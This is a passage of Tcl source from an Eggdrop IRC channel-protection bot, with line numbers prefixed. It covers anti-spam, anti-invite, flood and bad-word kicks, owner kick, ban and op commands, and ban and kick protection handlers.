5547putsrv "KICK $x $unick :$notc 4!SpaM!1 I HaTE 4dEcOdE [banms]"
5548return 0
5549} {
5550set members [chanlist $x f]
5551foreach c $members {
5552if {[isop $c $x]} {
5553set sendspam "!kick [zip "$x $unick $notc 4!SpaM!1 FRoM 4[string range $uhost [string first "@" $uhost] end]1 dEcOdE [banmsg]"]"
5554putsrv "PRIVMSG $c :$sendspam"
5555return 0
5556}
5557}
5558}
5559}
5560}
5561set invme($mhost) "dEcOdE"
5562}
5563if {[string match "*#*" $text] || [string match "*/j*" $text]} {
5564foreach x [channels] {
5565set chksiton [string tolower $x]
5566if {[string match "*$chksiton*" [string tolower $text]]} { return 0 }
5567}
5568foreach x [channels] {
5569if {[onchan $unick $x]} {
5570if {[isop $botnick $x]} {
5571set banmask "*!*[string range $uhost [string first "@" $uhost] end]"
5572set bannick($unick) $banmask
5573putsrv "KICK $x $unick :$notc 4!SpaM!1 I HaTE 4InvITeR [banms]"
5574return 0
5575} {
5576set members [chanlist $x f]
5577foreach c $members {
5578if {[isop $c $x]} {
5579set sendspam "!kick [zip "$x $unick $notc 4!SpaM!1 FRoM 4[string range $uhost [string first "@" $uhost] end]1 InvITE [banmsg]"]"
5580putsrv "PRIVMSG $c :$sendspam"
5581return 0
5582}
5583}
5584}
5585} {
5586set banmask "[string range $uhost [string first "@" $uhost] end]"
5587if {$banmask != "*!*@*" && $banmask != "*"} {
5588foreach c [chanlist $x] {
5589set nickhost "[string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]"
5590if {$banmask == $nickhost} {
5591if {[matchattr $c f]} {
5592return 0
5593}
5594if {$c != $botnick} {
5595if {[isop $botnick $x]} {
5596set bannick($c) $banmask
5597set mhost [string range $uhost [string first "@" $uhost] end]
5598putsrv "KICK $x $c :$notc 4!SpaM!1 InvITeR 4ReLaY1 FRoM 4$unick1 IP 4$mhost [banms]"
5599} {
5600set members [chanlist $x f]
5601foreach s $members {
5602if {[isop $s $x]} {
5603set mhost [string range $uhost [string first "@" $uhost] end]
5604set sendspam "!kick [zip "$x $c $notc 4!SpaM!1 InvITeR 4ReLaY1 FRoM 4$unick1 IP 4$mhost [banms]"]"
5605putsrv "PRIVMSG $s :$sendspam"
5606break
5607}
5608}
5609}
5610return 0
5611}
5612}
5613}
5614}
5615}
5616}
5617set invme($mhost) "InvITE"
5618return 0
5619}
5620if {[string match "*http:/*" [string tolower $text]] || [string match "*www.*" [string tolower $text]]} {
5621foreach x [channels] {
5622if {[onchan $unick $x]} {
5623if {[isop $botnick $x]} {
5624set banmask "*!*[string range $uhost [string first "@" $uhost] end]"
5625set bannick($unick) $banmask
5626putsrv "KICK $x $unick :$notc 4!SpaM!1 I HaTE 4AdvERTIsE [banms]"
5627return 0
5628} else {
5629set members [chanlist $x f]
5630foreach c $members {
5631if {[isop $c $x]} {
5632set sendspam "!kick [zip "$x $unick $notc 4!SpaM!1 FRoM 4[string range $uhost [string first "@" $uhost] end]1 AdvERTIsE [banmsg]"]"
5633putsrv "PRIVMSG $c :$sendspam"
5634return 0
5635}
5636}
5637}
5638} {
5639set banmask "[string range $uhost [string first "@" $uhost] end]"
5640if {$banmask != "*!*@*" && $banmask != "*"} {
5641foreach c [chanlist $x] {
5642set nickhost "[string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]"
5643if {$banmask == $nickhost} {
5644if {[matchattr $c f]} {
5645return 0
5646}
5647if {$c != $botnick} {
5648if {[isop $botnick $x]} {
5649set bannick($c) $banmask
5650set mhost [string range $uhost [string first "@" $uhost] end]
5651putsrv "KICK $x $c :$notc 4!SpaM!1 AdvERTIsE 4ReLaY1 FRoM 4$unick1 IP 4$mhost [banms]"
5652} {
5653set members [chanlist $x f]
5654foreach s $members {
5655if {[isop $s $x]} {
5656set mhost [string range $uhost [string first "@" $uhost] end]
5657set sendspam "!kick [zip "$x $c $notc 4!SpaM!1 AdvERTIsE 4ReLaY1 FRoM 4$unick1 IP 4$mhost [banms]"]"
5658putsrv "PRIVMSG $s :$sendspam"
5659return 0
5660}
5661}
5662}
5663return 0
5664}
5665}
5666}
5667}
5668}
5669}
5670set invme($mhost) "AdvERTIsE"
5671return 0
5672}
5673set mhost [string range $uhost [string first "@" $uhost] end]
5674if {[string length $text] > 100} {
5675set chr 0
5676set cnt 0
5677while {$cnt < [string length $real]} {
5678if [isflood [string index $real $cnt]] {
5679incr chr
5680}
5681incr cnt
5682}
5683if {$chr > 30} {
5684setignore "*!*@*" "*" 120
5685if {[info exists ismaskhost]} {
5686setignore [maskhost "*!*$mhost"] "TsunamI MSg" 300
5687} {
5688setignore "*!*$mhost" "TsunamI MSg" 300
5689}
5690foreach x [channels] {
5691if {[isop $botnick $x]} {
5692if {[string match "*c*" [getchanmode $x]]} {
5693puthlp "PRIVMSG $x :\001ACTION IncOmINg TsunamI MSg..! FRoM [unsix "$unick!$uhost"]\001"
5694} {
5695puthlp "PRIVMSG $x :\001ACTION IncOmINg TsunamI MSg..! FRoM 1[unsix "$unick!$uhost"]\001"
5696}
5697foreach c [chanlist $x] {
5698set nickhost [string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]
5699if {$nickhost == $mhost} {
5700if {[matchattr $c f] || $c == $botnick} {
5701return 0
5702}
5703set bannick($c) "*!*$mhost"
5704putsrv "KICK $x $c :$notc 4TsunamI1 MSg FRoM 4$mhost [banms]"
5705break
5706}
5707}
5708}
5709}
5710return 0
5711}
5712}
5713foreach badword [string tolower $badwords] {
5714if {[string match *$badword* [string tolower $text]]} {
5715foreach x [channels] {
5716if {[onchan $unick $x]} {
5717if {[isop $unick $x] || [isvoice $unick $x]} { return 0 }
5718if {[isop $botnick $x]} {
5719set bannick($unick) "*!*$mhost"
5720putsrv "KICK $x $unick :$notc 4BaDWoRD1 MSg FRoM 4$mhost1 MaTcH FRoM 4[string toupper $badword] [banms]"
5721return 0
5722} {
5723foreach s [chanlist $x f] {
5724if {[isop $s $x]} {
5725set sendspam "!kick [zip "$x $unick $notc 4BaDWoRD1 MSg FRoM 4$mhost1 MaTcH FRoM 4[string toupper $badword] [banms]"]"
5726putsrv "PRIVMSG $s :$sendspam"
5727}
5728}
5729}
5730}
5731}
5732}
5733}
5734if {[string length $text] > 200} {
5735if {![isutimer "LONGTEXT"]} {
5736utimer 30 { putlog "LONGTEXT" }
5737setignore "*!*@*" "*" 120
5738if {[info exists ismaskhost]} {
5739setignore [maskhost "*!*$mhost"] "LoNg TexT MSg" 300
5740} {
5741setignore "*!*$mhost" "LoNg TexT MSg" 300
5742}
5743}
5744foreach x [channels] {
5745if {[isop $botnick $x]} {
5746if {[string match "*c*" [getchanmode $x]]} {
5747puthlp "PRIVMSG $x :\001ACTION IncOmINg LoNg TexT MSg..! FRoM [unsix "$unick!$uhost"]\001"
5748} {
5749puthlp "PRIVMSG $x :\001ACTION IncOmINg LoNg TexT MSg..! FRoM 1[unsix "$unick!$uhost"]\001"
5750}
5751foreach c [chanlist $x] {
5752set nickhost [string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]
5753if {$nickhost == $mhost} {
5754if {[matchattr $c f] || $c == $botnick} { return 0 }
5755set bannick($c) "*!*$mhost"
5756putsrv "KICK $x $c :$notc 1LoNg TexT MSg FRoM 4$mhost [banms]"
5757break
5758}
5759}
5760} {
5761foreach c [chanlist $x] {
5762set nickhost [string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]
5763if {$nickhost == $mhost} {
5764if {[matchattr $c f] || $c == $botnick} {
5765return 0
5766}
5767foreach s [chanlist $x f] {
5768if {[isop $s $x]} {
5769set sendspam "!kick [zip "$x $c $notc 1LoNg TexT MSg FRoM 4$mhost [banms]"]"
5770putsrv "PRIVMSG $s :$sendspam"
5771break
5772}
5773}
5774}
5775}
5776}
5777}
5778return 1
5779}
5780if {$unick != $own} {
5781if {[info exists twice_msg($unick)]} {
5782set hostmask "${unick}!*@*"
5783puthlp "PRIVMSG $unick :$querymsg"
5784putlog "!Log! IgNORE <<$hostmask>> PV-msg"
5785unset twice_msg($unick)
5786newignore $hostmask $unick "*" 2
5787} {
5788if {[istimer "chkautomsg"]} {
5789set invme($mhost) "AuToJoIN MSg"
5790return 0
5791}
5792if {[isutimer "NO REPLY"]} {
5793foreach x [utimers] {
5794if {[string match "*NO REPLY*" $x]} {
5795killutimer [lindex $x 2]
5796}
5797}
5798utimer 10 { putlog "NO REPLY" }
5799return 0
5800}
5801utimer 10 { putlog "NO REPLY" }
5802if {[string match "*dal*et*" $uhost]} {
5803puthlp "PRIVMSG $unick :$querymsg"
5804} {
5805if {[getuser "config" XTRA "AWAY"]!=""} {
5806puthlp "PRIVMSG $unick :$querymsg"
5807} {
5808puthlp "PRIVMSG $unick :$querymsg"
5809}
5810set twice_msg($unick) 1
5811}
5812}
5813}
5814}
5815proc auto_reop {} {
5816global notc botnick
5817foreach x [channels] {
5818if {[onchan $botnick $x]} {
5819if {![isop $botnick $x] && [string tolower $x] != [dezip ""]} {
5820if {![string match "*+protectfriends*" [channel info $x]]} {
5821set cret 30
5822foreach ct [utimers] {
5823if {[string match "*chancnt*" $ct]} {
5824if {[expr [lindex $ct 0] + 30] > $cret} {
5825set cret [expr [lindex $ct 0] + 30]
5826}
5827}
5828}
5829utimer $cret [list chancnt $x]
5830}
5831}
5832}
5833}
5834return 0
5835}
5836proc chancnt {chan} {
5837if {[isutimer "chancnt $chan"]} { return 0 }
5838putsrv "ChanServ count $chan"
5839}
5840proc msg_kick {nick uhost hand rest} {
5841global notc botnick own
5842set chantarget [lindex $rest 0]
5843set nicktarget [lindex $rest 1]
5844set reason [lrange $rest 2 end]
5845if {![matchattr $nick Q]} {
5846puthlp "NOTICE $nick :$notc 4D14itolak1!"
5847return 0
5848}
5849if {($chantarget == "") || ($nicktarget == "")} {
5850puthlp "NOTICE $nick :$notc Usage: kick <#chan> <Nick> <Reason>"
5851return 0
5852}
5853if {[isop $botnick $chantarget]!=1} {
5854puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
5855return 0
5856}
5857if {![onchan $nicktarget $chantarget]} {
5858puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."
5859return 0
5860}
5861if {$nicktarget == $botnick} {
5862puthlp "NOTICE $nick :$notc I cant self kick."
5863return 0
5864}
5865if {[matchattr $nicktarget n] && ![matchattr $nick Z]} {
5866puthlp "NOTICE $nick :$notc I CaNT KIcK MY Admin."
5867return 0
5868}
5869if {$reason == ""} {
5870set reason "1ReQuesT..!"
5871if {[matchattr $nick n]} {
5872set reason "1Admin 4KIcK1 ReQuesT4..!"
5873}
5874if {[matchattr $nick m] && ![matchattr $nick n]} {
5875set reason "1MasTeR 4KIcK1 ReQuesT4..!"
5876}
5877}
5878foreach x [channels] {
5879if {[string tolower $x]==[string tolower $chantarget]} {
5880putsrv "KICK $x $nicktarget :$notc $reason"
5881return 0
5882}
5883}
5884puthlp "NOTICE $nick :$notc NoT IN $chantarget"
5885}
5886proc msg_kickban {nick uhost hand rest} {
5887global notc botnick own bannick
5888set chantarget [lindex $rest 0]
5889set nicktarget [lindex $rest 1]
5890set bmask [getchanhost $nicktarget $chantarget]
5891set bmask "*!*@[lindex [split $bmask @] 1]"
5892set reason [lrange $rest 2 end]
5893if {![matchattr $nick Q]} {
5894puthlp "NOTICE $nick :$notc 4D14itolak1!"
5895return 0
5896}
5897if {($chantarget == "") || ($nicktarget == "")} {
5898puthlp "NOTICE $nick :$notc Usage: kickban <#chan> <Nick> <Reason>"
5899return 0
5900}
5901if {[isop $botnick $chantarget]!=1} {
5902puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
5903return 0
5904}
5905if {![onchan $nicktarget $chantarget]} {
5906puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."
5907return 0
5908}
5909if {$nicktarget == $botnick} {
5910puthlp "NOTICE $nick :$notc I cant self kick."
5911return 0
5912}
5913if {[matchattr $nicktarget n] && ![matchattr $nick Z]} {
5914puthlp "NOTICE $nick :$notc I cant kickban my Admin."
5915return 0
5916}
5917if {$reason == ""} {
5918set reason "1KIcKBaN ReQuesT4..!"
5919if {[matchattr $nick m]} {
5920set reason "1MasTeR 4KIcKBaN1 ReQuesT [banmsg]"
5921}
5922if {[matchattr $nick n]} {
5923set reason "1Admin 4KIcKBaN1 ReQuesT [banmsg]"
5924}
5925}
5926foreach x [channels] {
5927if {[string tolower $x]==[string tolower $chantarget]} {
5928set bannick($nicktarget) $bmask
5929putsrv "KICK $x $nicktarget :$notc $reason"
5930return 0
5931}
5932}
5933puthlp "NOTICE $nick :$notc NoT IN $chantarget"
5934}
5935proc msg_op {nick uhost hand rest} {
5936global notc botnick
5937set chantarget [lindex $rest 0]
5938set nicktarget [lindex $rest 1]
5939if {![matchattr $nick Q]} {
5940puthlp "NOTICE $nick :$notc 4D14itolak1!"
5941return 0
5942}
5943if {($chantarget == "") || ($nicktarget == "")} {
5944puthlp "NOTICE $nick :$notc Usage: op <#chan> <Nick>"
5945return 0
5946}
5947if {[isop $botnick $chantarget]!=1} {
5948puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
5949return 0
5950}
5951if {![onchan $nicktarget $chantarget]} {
5952puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."
5953return 0
5954}
5955if {[isop $nicktarget $chantarget]!=0} {
5956puthlp "NOTICE $nick :$notc $nicktarget is already op on CHaNNEL $chantarget"
5957return 0
5958}
5959foreach x [channels] {
5960if {[string tolower $x] == [string tolower $chantarget]} {
5961opq $x $nicktarget
5962return 0
5963}
5964}
5965puthlp "NOTICE $nick :$notc NoT IN $chantarget"
5966}
5967proc msg_voice {nick uhost hand rest} {
5968global notc botnick
5969set chantarget [lindex $rest 0]
5970set nicktarget [lindex $rest 1]
5971if {![matchattr $nick Q]} {
5972puthlp "NOTICE $nick :$notc 4D14itolak1!"
5973return 0
5974}
5975if {($chantarget == "") || ($nicktarget == "")} {
5976puthlp "NOTICE $nick :$notc Usage: voice <#chan> <Nick>"
5977return 0
5978}
5979if {[isop $botnick $chantarget]!=1} {
5980puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
5981return 0
5982}
5983if {![onchan $nicktarget $chantarget]} {
5984puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."
5985return 0
5986}
5987if {[isvoice $nicktarget $chantarget]} {
5988puthlp "NOTICE $nick :$notc $nicktarget is already voice on channel $chantarget"
5989}
5990foreach x [channels] {
5991if {[string tolower $x]==[string tolower $chantarget]} {
5992putserv "mode $x +v $nicktarget"
5993return 0
5994}
5995}
5996puthlp "NOTICE $nick :$notc NoT IN $chantarget"
5997}
5998proc msg_deop {nick uhost hand rest} {
5999global notc botnick own
6000set chantarget [lindex $rest 0]
6001set nicktarget [lindex $rest 1]
6002if {![matchattr $nick Q]} {
6003puthlp "NOTICE $nick :$notc 4D14itolak1!"
6004return 0
6005}
6006if {($chantarget == "") || ($nicktarget == "")} {
6007puthlp "NOTICE $nick :$notc Usage: deop <#chan> <Nick>"
6008return 0
6009}
6010if {[isop $botnick $chantarget] != 1} {
6011puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
6012return 0
6013}
6014if {![onchan $nicktarget $chantarget]} {
6015puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."
6016return 0
6017}
6018if {![isop $nicktarget $chantarget]} {
6019puthlp "NOTICE $nick :$notc $chantarget is not op on CHaNNEL $chantarget"
6020return 0
6021}
6022if {$nicktarget == $botnick} {
6023puthlp "NOTICE $nick :$notc I CaNT SeLF DEoP!"
6024return 0
6025}
6026if {[matchattr $nicktarget n]} {
6027puthlp "NOTICE $nick :$notc I cant deop my Owner."
6028return 0
6029}
6030if {[matchattr $nick m]} {
6031set mreq "4MasTeR.ReQuesT"
6032}
6033if {[matchattr $nick n]} {
6034set mreq "4Admin.ReQuesT"
6035}
6036foreach x [channels] {
6037if {[string tolower $x]==[string tolower $chantarget]} {
6038if {![string match "*k*" [getchanmode $x]]} {
6039putserv "mode $x -ko $mreq $nicktarget"
6040} {
6041putserv "mode $x -o $nicktarget"
6042}
6043return 0
6044}
6045}
6046puthlp "NOTICE $nick :$notc NoT IN $chantarget"
6047}
6048proc msg_devoice {nick uhost hand rest} {
6049global notc botnick owner
6050set chantarget [lindex $rest 0]
6051set nicktarget [lindex $rest 1]
6052if {![matchattr $nick Q]} {
6053puthlp "NOTICE $nick :$notc 4D14itolak1!"
6054return 0
6055}
6056if {($chantarget == "") || ($nicktarget == "")} {
6057puthlp "NOTICE $nick :$notc Usage: devoice <#chan> <Nick>"
6058return 0
6059}
6060if {[isop $botnick $chantarget]!=1} {
6061puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
6062return 0
6063}
6064if {![onchan $nicktarget $chantarget]} {
6065puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."
6066}
6067if {![isvoice $nicktarget $chantarget]} {
6068puthlp "NOTICE $nick :$notc $nicktarget is not voice on CHaNNEL $chantarget"
6069}
6070if {$nicktarget == $owner} {
6071puthlp "NOTICE $nick :$notc I cant devoice my owner."
6072return 0
6073}
6074foreach x [channels] {
6075if {[string tolower $x]==[string tolower $chantarget]} {
6076putserv "mode $x -v $nicktarget"
6077return 0
6078}
6079}
6080puthlp "NOTICE $nick :$notc NoT IN $chantarget"
6081}
6082
6083bind kick - * prot:kick
6084
6085proc prot:kick {nick uhost handle chan knick reason} {
6086global notc notd botnick ps kickme notb notm bannick igflood botname quick is_m op_it is_ban iskick
6087set cflag "c$chan"
6088set cflag [string range $cflag 0 8]
6089if {[string match "* *" $reason] || [string match "*$notm*" $reason]} {
6090set igflood($nick) "1"
6091}
6092if {[info exists iskick($knick$chan)]} {
6093unset iskick($knick$chan)
6094}
6095if {$nick == $botnick} {
6096if {[info exists kickme($knick)]} {
6097if {$kickme($knick) == 1} {
6098set kickme($knick) 2
6099}
6100if {$kickme($knick) == 3} {
6101catch { unset kickme($knick) }
6102}
6103}
6104if {[string match "*$notm*" $reason]} {
6105if {![info exists bannick($knick)]} { return 0 }
6106if {[info exists is_ban($bannick($knick)$chan)]} { return 0 }
6107set is_ban($bannick($knick)$chan) 1
6108if {$bannick($knick) == "*!*@*"} { return 0 }
6109set cmode [getchanmode $chan]
6110set ok_m "1"
6111if {[info exists is_m($chan)]} {
6112set ok_m "0"
6113}
6114if {[isutimer "set_-m $chan"]} {
6115set ok_m "0"
6116}
6117if {[string match "*m*" $cmode]} {
6118set ok_m "0"
6119}
6120if {$ok_m == "1"} {
6121set is_m($chan) 1
6122if {$quick == "1"} {
6123putquick "mode $chan +b $bannick($knick)"
6124} {
6125putserv "mode $chan +b $bannick($knick)"
6126}
6127} {
6128if {$quick == "1"} {
6129putquick "mode $chan +b $bannick($knick)"
6130} {
6131putserv "mode $chan +b $bannick($knick)"
6132}
6133}
6134return 0
6135} {
6136if {![info exists bannick($knick)]} { return 0 }
6137if {$bannick($knick) == "*!*@*"} { return 0 }
6138putserv "mode $chan +b $bannick($knick)"
6139if {[string match "*4BaNNEd1: 3 MINUTES*" $reason]} { utimer 180 [list unbanq $chan $bannick($knick)] }
6140}
6141return 0
6142}
6143if {$nick == $knick} { return 0 }
6144if {$nick == "ChanServ"} { return 0 }
6145if {[matchattr $nick f]} { return 0 }
6146if {[string match "* *" $reason] || [string match "*$notm*" $reason]} { return 0 }
6147if {$knick == $botnick} {
6148if {[info exists kickme($nick)]} {
6149set kickme($nick) 3
6150if {[string tolower $chan] != [dezip ""]} {
6151putsrv "ChanServ deop $chan $nick"
6152}
6153} {
6154if {[matchattr $cflag D]} {
6155set kickme($nick) 1
6156}
6157}
6158puthlp "JOIN $chan"
6159return 0
6160}
6161if {![isop $botnick $chan]} { return 0 }
6162if {$knick == $notb} {
6163putserv "KICK $chan $nick :$notc 1DonT KIcK 4$notb1..!"
6164set op_it($knick) 1
6165return 0
6166}
6167if {$knick == $ps} {
6168putserv "KICK $chan $nick :$notc 1DonT KIcK 4$ps1..!"
6169set op_it($knick) 1
6170return 0
6171}
6172if {[matchattr $knick n]} {
6173putsrv "KICK $chan $nick :$notc 1Admin 4KIcK1 PRoTecTIoN4..!"
6174set op_it($knick) 1
6175return 0
6176}
6177if {[matchattr $knick m]} {
6178putsrv "KICK $chan $nick :$notc 1MasTeR 4KIcK1 PRoTecTIoN4..!"
6179set op_it($knick) 1
6180return 0
6181}
6182}
6183proc unbanq {chan host} {
6184global botnick
6185if {[isop $botnick $chan]} {
6186puthelp "mode $chan -b $host"
6187}
6188}
6189set banidx 1
6190proc banmsg {} {
6191global banidx bancounter
6192set banidx [incr banidx]
6193if {$banidx >= [llength $bancounter]} {
6194set banidx 1
6195}
6196set banmsg [lindex $bancounter $banidx]
6197}
6198proc banms {} {
6199global banidx bancounte
6200set banidx [incr banidx]
6201if {$banidx >= [llength $bancounte]} {
6202set banidx 1
6203}
6204set banms [lindex $bancounte $banidx]
6205}
6206proc ban_chk {nick uhost handle channel mchange bhost} {
6207global botnick botname ps quick notb notc bannick ban-time igflood invme ex_flood
6208set mhost [string range $bhost [string first "@" $bhost] end]
6209set cflag "c$channel"
6210set cflag [string range $cflag 0 8]
6211if {[info exists invme($mhost)]} {
6212catch { unset invme($mhost) }
6213}
6214if {[info exists ex_flood($mhost)]} {
6215catch { unset ex_flood($mhost) }
6216}
6217if {![isop $botnick $channel]} { return 0 }
6218set banmask "*!*[string range $uhost [string first "@" $uhost] end]"
6219if {$banmask == "*!*@*"} {
6220set banmask "$nick!*@*"
6221}
6222if {$bhost == "*!*@*"} {
6223utimer [rand 4] [list unbanq $channel $bhost]
6224return 1
6225}
6226set cmode [getchanmode $channel]
6227if {[getuser "config" XTRA "IPG"] != ""} {
6228foreach ipg [getuser "config" XTRA "IPG"] {
6229if {[string match $ipg $bhost] || [string match $bhost $ipg]} {
6230if {![isutimer "IPG $bhost"]} {
6231if {![string match "*k*" $cmode]} {
6232puthelp "mode $channel -kb 4IpgUaRd $bhost"
6233} {
6234puthelp "mode $channel -b $bhost"
6235}
6236utimer 60 [list putlog "IPG $bhost"]
6237}
6238return 1
6239}
6240}
6241}
6242if {[string match [string tolower $bhost] [string tolower $botname]]} {
6243if {![matchattr $nick f] && $nick != $botnick && $nick != "ChanServ" && ![string match "*dal.net*" $nick] && ![info exists igflood($nick)]} {
6244if {[matchattr $cflag D]} {
6245if {$quick == "1"} {
6246putqck "KICK $channel $nick :$notc 1SeLF 4BaNNINg1 DeFeNsE REvERsINg [banmsg]"
6247} {
6248putsrv "KICK $channel $nick :$notc 1SeLF 4BaNNINg1 DeFeNsE REvERsINg [banmsg]"
6249}
6250}
6251if {![string match "*k*" $cmode]} {
6252if {$quick == "1"} {
6253putquick "mode $channel -kb+b 4SeLF.UnBaN $bhost $banmask"
6254} {
6255putserv "mode $channel -kb+b 4SeLF.UnBaN $bhost $banmask"
6256}
6257} {
6258if {$quick == "1"} {
6259putquick "mode $channel -b+b $bhost $banmask"
6260} {
6261putserv "mode $channel -b+b $bhost $banmask"
6262}
6263}
6264} {
6265if {![string match "*k*" $cmode]} {
6266if {$quick == "1"} {
6267putquick "mode $channel -kb 4SeLF.UnBaN $bhost"
6268} else {
6269putserv "mode $channel -kb SeLF.UnBaN $bhost"
6270}
6271} {
6272if {$quick == "1"} {
6273putquick "mode $channel -b $bhost"
6274} else {
6275putserv "mode $channel -b $bhost"
6276}
6277}
6278}
6279return 1
6280}
6281foreach knick [chanlist $channel] {
6282if {[string match [string tolower $bhost] [string tolower $knick![getchanhost $knick $channel]]]} {
6283if {[matchattr $knick f]} {
6284if {$knick != $ps && $knick != $notb} { utimer [rand 4] [list unbanq $channel $bhost] }
6285if {[matchattr $nick f] || $nick == $botnick || $nick == "ChanServ" || [string match "*dal.net*" $nick] || [info exists igflood($nick)]} { return 1 }
6286}
6287if {$knick == $notb} {
6288if {$nick != $botnick} {
6289putsrv "KICK $channel $nick :$notc 1DonT BaNnEd 4$notb1..!"
6290if {![string match "*k*" $cmode]} {
6291putserv "mode $channel -kb 4$notb.GuaRd $bhost"
6292} {
6293putserv "mode $channel -b $bhost"
6294}
6295} {
6296putserv "mode $channel -b $bhost"
6297}
6298return 1
6299}
6300if {$knick == $ps} {
6301if {$nick != $botnick} {
6302putsrv "KICK $channel $nick :$notc 1DonT BaNnEd 4$ps1..!"
6303if {![string match "*k*" $cmode]} {
6304putserv "mode $channel -kb 4$ps.GuaRd $bhost"
6305} {
6306putserv "mode $channel -b $bhost"
6307}
6308} {
6309putserv "mode $channel -b $bhost"
6310}
6311return 1
6312}
6313if {[matchattr $knick n]} {
6314if {$nick != $botnick} {
6315set bannick($nick) $banmask
6316putsrv "KICK $channel $nick :$notc 1DonT BaNnEd Admin 4$knick1..!"
6317}
6318return 1
6319}
6320if {[matchattr $knick m]} {
6321if {$nick != $botnick} {
6322putsrv "KICK $channel $nick :$notc 1DonT BaNnEd MasTeR 4$knick1..!"
6323}
6324return 1
6325}
6326if {[matchattr $cflag E]} {
6327if {$nick == $botnick} {
6328set menforce [rand 4]
6329if {$menforce == 1} {
6330putsrv "KICK $channel $knick :$notc 1BaNnEd FRoM 4[string toupper $channel] [banms]"
6331} elseif {$menforce == 2} {
6332putsrv "KICK $channel $knick :$notc 1MaTcH BaNs FRoM 4[unsix $bhost] [banms]"
6333} elseif {$menforce == 3} {
6334putsrv "KICK $channel $knick :$notc 1FILTeR BaNs FRoM 4[unsix $bhost] [banms]"
6335} else {
6336putsrv "KICK $channel $knick :$notc 1ReFusEd LInK FRoM 4[string toupper $channel] [banms]"
6337}
6338} else {
6339if {[matchattr $nick n]} {
6340putsrv "KICK $channel $knick :$notc 4Admin1 BaNnEd 4OuT1..!"
6341} else {
6342if {[matchattr $nick m]} {
6343putsrv "KICK $channel $knick :$notc 4MasTeR1 BaNnEd 4OuT1..!"
6344} else {
6345if {[isop $knick $channel] && ![matchattr $nick f]} { return 1 }
6346if {![matchattr $knick f]} {
6347set menforce [rand 5]
6348if {$menforce == 1} {
6349putsrv "KICK $channel $knick :$notc 1BaNnEd BY 4@$nick [banms]"
6350} elseif {$menforce == 2} {
6351putsrv "KICK $channel $knick :$notc 1MaTcH BaNs FRoM 4[unsix $bhost] [banms]"
6352} elseif {$menforce == 3} {
6353putsrv "KICK $channel $knick :$notc 1BaNnEd FRoM 4[string toupper $channel] [banms]"
6354} elseif {$menforce == 4} {
6355putsrv "KICK $channel $knick :$notc 1FILTeR BaNs FRoM 4[unsix $bhost] [banms]"
6356} else {
6357putsrv "KICK $channel $knick :$notc 1ReFusEd LInK FRoM 4[string toupper $channel] [banms]"
6358}
6359}
6360}
6361}
6362}
6363}
6364}
6365}
6366return 0
6367}
6368
6369bind mode - * prot:deop
6370
6371proc prot:deop {nick uhost handle channel mchange {opnick ""}} {
6372global botnick deopme ps invme virus_nick quick notb notc bannick lastkey unop igflood is_m op_it
6373set cflag "c$channel"
6374set cflag [string range $cflag 0 8]
6375set mode [lindex $mchange 0]
6376if {$opnick == ""} {
6377set opnick [lindex $mchange 1]
6378}
6379if {$mode == "-m"} {
6380foreach x [utimers] {
6381if {[string match "*set_-m $channel*" $x] || [string match "*TRAFFIC $channel*" $x]} {
6382killutimer [lindex $x 2]
6383}
6384}
6385catch {unset is_m($channel)}
6386if {![botisop $channel]} { return 0 }
6387if {[matchattr $cflag V]} {
6388foreach x [chanlist $channel] {
6389if {$x != $botnick && ![isvoice $x $channel] && ![isop $x $channel] && ![matchattr $x O]} {
6390set cret [getuser $cflag XTRA "VC"]
6391foreach ct [utimers] {
6392if {[string match "*voiceq*" $ct]} {
6393if {[expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]] > $cret} {
6394set cret [expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]]
6395}
6396}
6397}
6398utimer $cret [list voiceq $channel $x]
6399}
6400}
6401}
6402return 0
6403}
6404if {$mode == "+k"} {
6405set lastkey $opnick
6406if {[matchattr $cflag K] && [matchattr $nick Z]} {
6407putlog "key change to $opnick"
6408setuser $cflag XTRA "CI" [zip $opnick]
6409saveuser
6410}
6411}
6412if {$mode == "-k"} {
6413catch { unset lastkey }
6414if {$nick != $botnick} {
6415set igflood($nick) "1"
6416}
6417return 0
6418}
6419if {$mode == "+m"} {
6420foreach x [utimers] {
6421if {[string match "*set_-m $channel*" $x] || [string match "*voiceq $channel*" $x] || [isutimer "advq $channel"]} {
6422killutimer [lindex $x 2]
6423}
6424}
6425if {$nick == $botnick} {
6426if {![string match "*m*" [lindex [channel info $channel] 0]]} {
6427if {[string match "*+shared*" [channel info $channel]]} {
6428puthelp "NOTICE $channel :WaRnInG!! OnE MInUtE MoDeRaTe DuE tO FLoOd..!"
6429}
6430utimer 70 [list set_-m $channel]
6431if {[isutimer "TRAFFIC $channel"]} {
6432utimer 20 [list pub_nobot "*" "*" "*" $channel "*"]
6433return 0
6434}
6435}
6436} {
6437if {[isutimer "goback"]} {
6438catch { clearqueue all }
6439foreach x [utimers] {
6440if {[string match "*del_nobase*" $x]} { killutimer [lindex $x 2] }
6441if {[string match "*goback*" $x]} { killutimer [lindex $x 2] ; goback }
6442}
6443utimer 2 del_nobase
6444return 0
6445}
6446utimer [expr 1800 + [rand 60]] [list set_-m $channel]
6447}
6448return 0
6449}
6450if {$mode == "+b"} {
6451if {$opnick == "*!*@heavy.join.flood.channel.temporary.moderate"} {
6452utimer 40 [list putlog "TRAFFIC $channel"]
6453if {$nick == $botnick} {
6454utimer 40 [list putserv "mode $channel -bm *!*@heavy.join.flood.channel.temporary.moderate"]
6455if {[info exists is_m($channel)]} { return 0 }
6456if {$quick == "1"} {
6457putquick "mode $channel +m"
6458} {
6459putserv "mode $channel +m"
6460}
6461set is_m($channel) 1
6462return 0
